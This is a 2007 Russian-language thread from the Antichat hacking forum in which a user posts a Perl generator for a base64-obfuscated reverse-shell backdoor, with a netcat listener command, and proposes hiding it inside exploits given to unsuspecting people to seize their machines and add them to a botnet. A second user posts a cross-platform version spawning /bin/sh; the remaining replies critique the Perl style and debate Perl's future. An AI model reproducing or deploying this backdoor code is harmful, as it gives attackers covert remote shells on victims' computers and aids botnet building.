Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Заценяем релизик... (https://forum.antichat.xyz/showthread.php?t=34814)

slider 06.03.2007 15:39
Заценяем релизик...
 
Недавно начал учить перл я, в конечном итоге написал такой релизик...

Сообственно в основе лежит простейший back-connect shell...

Используя NetCat открываем у себя порт например 9999
nc.exe -lvvp 9999

Запускаем скрипт.. и следуем USAGE:

[Parameters] : X:\name.pl IP PORT file
[Example] : X:\name.pl 127.0.0.1 9999 exploit.pl

Передаём все параметры через коммандую строку нашему файлу...

Указываем свой IP адресс и порт.. далее файл в котором сохранится наш скрипт..
а сохраниться он в base64 ... (менее заметно.. и компактней)

Далее втыкаем этот скриптик в любой exploit.. и разумеется даём.. скрипт киддису который упорно просит вас похекать какойнить форум... etc

И.... о .. чудо... вы получили доступ к его cmd, а от cmd и до ftp недолеко...
а там и пополнить ботнет недолго =)...

P.S
Как я и говорил... это не супер релиз а релизик...
и что скрипт работает "без палева" тож трудно сказать...
вообщем юзаем отписываемся...


PHP код:
#!/usr/bin/perl 

## C0d3d by slider 
## Backdoor Reverse-Shell v1.3
## http://antichat.ru
  
if (@ARGV!=3) 
{ 
print "\n" . '~' x 56 . "\n";
print "Backdoor Reverse-Shell \n\n"; 
print "\n" . '~' x 56 . "\n";
print "---USAGE:" .'-' x 47 ."\n\n";  
print "[Parameters] : $0 IP PORT file  \n";  
print "[Example] : $0 127.0.0.1 9999 exploit.pl \n\n";  
print '-' x 56 . "\n";
die("\n"); 
} 

print "---USAGE:" .'-' x 47 ."\n\n";  
print "[Parameters] : $0 IP PORT file  \n";  
print "[Example] : $0 127.0.0.1 9999 exploit.pl \n\n";  
print '~' x 56 . "\n";

$IP=@ARGV[0]; 
$PORT=@ARGV[1]; 
$NAME=@ARGV[2]; 
$TEXT= 

"open logg,\">expl~1.tmp\";". 
"print logg \"use IO::Socket;\";". 
"print logg \"use Socket; use FileHandle;\";". 
"print logg \"socket(SOCKET,PF_INET,SOCK_STREAM, getprotobyname('tcp'));\";". 
"print logg \"connect(SOCKET, sockaddr_in('$PORT',inet_aton('$IP')));\";". 
"print logg \"SOCKET->autoflush();\";". 
"print logg \"open(STDIN,'>&SOCKET');\";". 
"print logg \"open(STDOUT,'>&SOCKET');\";". 
"print logg \"open(STDERR,'>&SOCKET');\";". 
"print logg \"exec('cmd.exe');\";". 
"close logg;"; 

use MIME::Base64; 

$encoded = encode_base64($TEXT); 
print "[*] Injecting...\n"; 

open base64,">$NAME"; 
print base64 "\$payload='$encoded';"; 
print base64 "use MIME::Base64;"; 
print base64 "\$decoded = decode_base64(\$payload);"; 
print base64 "eval(\$decoded);"; 
print base64 "system(\'start perl expl~1.tmp\');"; 
print base64 "system(\'del expl~1.tmp\');"; 
close base64; 
print "[*] OK...\n\n"; 

print "$encoded"; 
ОБНОВЛЕНО ДО v1.3

Helios 06.03.2007 16:07
Ты одного не учел: а вдруг он из линуха сплойтенг запускать будет?

slider 06.03.2007 16:10
Подстраивал под винду... и на ней же тестил...
т.к небыло возможности работать в никсах... можно конешн
изменить cmd.exe на /bin/sh
+ кой какие мелочи..
но нормально протестить я б несмог усё равно...

Digimortal 06.03.2007 16:32
перл-коденг на троечку.. замечания:
1) зачем стока ненужных принтов??
2) юзайте " когда это действительно надо, а не заместо ' , а еще есть qw..
3) my ($IP, $PORT, $NAME)=@ARGV; # кстати, правильнее элементы массива писать $ARGV[1], а не @ARGV[1]
4) юзайте -w
5) my - тоже полезная штука...

за идею - плюсег )..

slider 06.03.2007 16:35
оппа... спасиб... незнал... учту.. исправлюсь...

Spyder 06.03.2007 18:06
Столько принтов конечно не нужно. толку от них?
Идея не нова, т к такие скрипты уже есть. Но за то что начал учить Перл и сделал что то работующее =))) тебе +

GreenBear 06.03.2007 18:46
Главное начало положено, дальше главное не отступать =)
Удачи.

slider 06.03.2007 19:07
Спасибо за поддержку =)

nc.STRIEM 06.03.2007 19:15
perl умирает. учи python!

genom-- 06.03.2007 22:09
Цитата:
Сообщение от nc.STRIEM
perl умирает. учи python!
отвечу цитатой одного чела которого вы узнаете "а вы все наркоманы"

пока его кто-то учит он жив

Helios 07.03.2007 00:42
Цитата:
perl умирает
Странно, чего ж догда ActiveState Perl под винду продвигает?
Почему CPAN постоянно пополняется?
Почему знание администратором UNIX перла считается хорошим тоном?
Почему 80% всех сплойтенгов на милворме на перле?

KSURi 07.03.2007 05:02
Цитата:
Сообщение от Digimortal
перл-коденг на троечку.. замечания:
1) зачем стока ненужных принтов??
2) юзайте " когда это действительно надо, а не заместо ' , а еще есть qw..
3) my ($IP, $PORT, $NAME)=@ARGV; # кстати, правильнее элементы массива писать $ARGV[1], а не @ARGV[1]
4) юзайте -w
5) my - тоже полезная штука...

за идею - плюсег )..
Ты на пути истинном ;)
Сорец к счастью я до конца читать не стал, после того как увидел нечто вроде
Код:
~~~~~~~~~~~~~

slider 07.03.2007 15:20
непонял .... а что в "~~~~~~~~~~~~~" такого? 0_o

Digimortal 07.03.2007 15:59
Цитата:
Сообщение от slider
непонял .... а что в "~~~~~~~~~~~~~" такого? 0_o
print "\n" . '~' x 56 . "\n";

slider 07.03.2007 18:20
упс.... :'(

slider 08.03.2007 17:34
ОК .. немного обновил...
теперь не будут лезть "левые окна" и вызывать подозрения..
и убрал задержку....

Helios 08.03.2007 19:18
Немного подпатчил, теперь ммультиплатформенно)

Greetz: _slider_

PHP код:
#!/usr/bin/perl  

## C0d3d by slider  
## Multiplatform path by helios
## Backdoor Reverse-Shell v1.3.multiplatform 
## http://antichat.ru 
   
if (@ARGV!=3)  
{  
print "\n" . '~' x 56 . "\n"; 
print "Backdoor Reverse-Shell \n\n";  
print "\n" . '~' x 56 . "\n"; 
print "---USAGE:" .'-' x 47 ."\n\n";  
print "[Parameters] : $0 IP PORT file  \n";  
print "[Example] : $0 127.0.0.1 9999 exploit.pl \n\n";  
print '~' x 56 . "\n"; 
die("\n");  
}  

$IP=$ARGV[0];  
$PORT=$ARGV[1];  
$NAME=$ARGV[2];  
$TEXT=  

"open logg,\">expl~1.tmp\";".  
"print logg \"use IO::Socket;\";".  
"print logg \"use Socket; use FileHandle;\";".  
"print logg \"socket(SOCKET,PF_INET,SOCK_STREAM, getprotobyname('tcp'));\";".  
"print logg \"connect(SOCKET, sockaddr_in('$PORT',inet_aton('$IP')));\";".  
"print logg \"SOCKET->autoflush();\";".  
"print logg \"open(STDIN,'>&SOCKET');\";".  
"print logg \"open(STDOUT,'>&SOCKET');\";".  
"print logg \"open(STDERR,'>&SOCKET');\";".  
"if(-f '/bin/sh' && -x '/bin/sh') {print logg \"exec('/bin/sh');\";}".
"else{print logg \"exec('cmd.exe');\";}".
"close logg;";  

use MIME::Base64;  

$encoded = encode_base64($TEXT);  
print "[*] Injecting...\n";  

open base64,">$NAME";  
print base64 "\$payload='$encoded';";  
print base64 "use MIME::Base64;";  
print base64 "\$decoded = decode_base64(\$payload);";  
print base64 "eval(\$decoded);";
print base64 "if (-f '/bin/sh' && -x '/bin/sh') {";
print base64 "system(\'perl expl~1.tmp &\');";  
print base64 "system(\'rm -rf expl~1.tmp\');}";
print base64 "else {";
print base64 "system(\'call perl expl~1.tmp\');";  
print base64 "system(\'del expl~1.tmp\');}";
close base64;  
print "[*] OK...\n\n";  

print "$encoded"; 

Helios 08.03.2007 19:24
ЗЫ:

Проверял в винде и во Frenzy

В никсах не забыть поменять конец строки на Unix-Like \n

slider 08.03.2007 19:27
респект Helios!

genom-- 09.03.2007 21:09
if(-f '/bin/sh' && -x '/bin/sh') хотел трохан покритиковать вообщем под моей виндой почемуто флаги -f -x непашут незнаю почему -- модет винда такая хз --- вообщем лучше вбить проверку через readdir будет надежнее


Время: 01:51